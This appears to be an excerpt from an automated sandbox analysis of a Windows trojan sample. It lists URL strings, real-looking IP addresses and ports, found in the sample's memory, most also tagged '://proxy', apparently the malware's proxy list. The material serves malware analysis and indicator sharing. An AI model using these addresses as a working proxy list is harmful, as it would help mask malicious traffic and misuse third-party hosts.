Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.84.166:9812
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.84.166:9812://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.88.147:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBF23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.61.88.147:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.69.157.213:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.69.157.213:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.71.24.129:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.71.24.129:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.72.102.42:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.72.102.42:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.82.105.123:43949
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.82.105.123:43949://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.89.37.73:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.89.37.73:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.125:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.125:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.151:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.151:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.165:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.165:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.35:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.94.212.35:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.95.195.105:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C69FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.95.195.105:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.97.238.85:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.97.238.85:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.97.238.90:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.97.238.90:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD85000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.97.238.93:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://190.97.238.93:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.101.1.116
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.101.1.116://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.101.1.116:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.102.254.10:8085
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.102.254.10:8085://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.102.254.27:8083
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.102.254.27:8083://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.102.68.178:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.102.68.178:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.103.219.225:48612
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.103.219.225:48612://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.179.216.84:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.179.216.84:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.252.101.46:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.252.101.46:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.252.178.138:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.252.178.138:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.53.112.170:45619
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.53.112.170:45619://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.96.251.53
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.96.251.53://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.96.251.53:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.16.160:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.16.160:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.16.6:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.16.6:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.19.66:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.19.66:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.2.198:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.2.198:5678://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C782D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.6.150:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://191.97.6.150:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.111.134.10:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.111.134.10:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C825A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.111.139.163:19404
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.111.139.163:19404://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.12.112.70:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.12.112.70:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.140.34.227:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.140.34.227:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.140.42.83:31511
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.140.42.83:31511://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.141.236.3:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.141.236.3:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.158.15.201:50877
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.158.15.201:50877://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.163.202.88:47415
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.163.202.88:47415://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.163.252.85:52119
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.163.252.85:52119://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA66A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB018000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:12919
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAA11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:12919://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:20317
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:20317://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:24299
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:24299://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:41026
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:41026://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:56657
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:56657://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:60781
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:60781://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:7031
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.205.131:7031://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.213.167:45203
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6DF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.213.167:45203://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:32074
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:32074://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:43328
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:43328://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:46191
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:46191://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:4850
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C659E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:4850://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:50578
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:50578://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:51778
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:51778://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:7251
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.226.96:7251://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.244.80:41568
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.169.244.80:41568://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.148.89
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.148.89://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.148.89:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.196.222:10800
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.196.222:10800://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.228.28:15673
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.210.228.28:15673://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.214.193.136:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CADAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.214.193.136:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.236.160.186
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.236.160.186://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.236.160.186:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.248.166.13:8888
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.248.166.13:8888://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC635000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC66A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.252.216.81:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC635000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.252.216.81:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.252.220.89:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.252.220.89:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.69.57.1:16099
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.69.57.1:16099://proxy
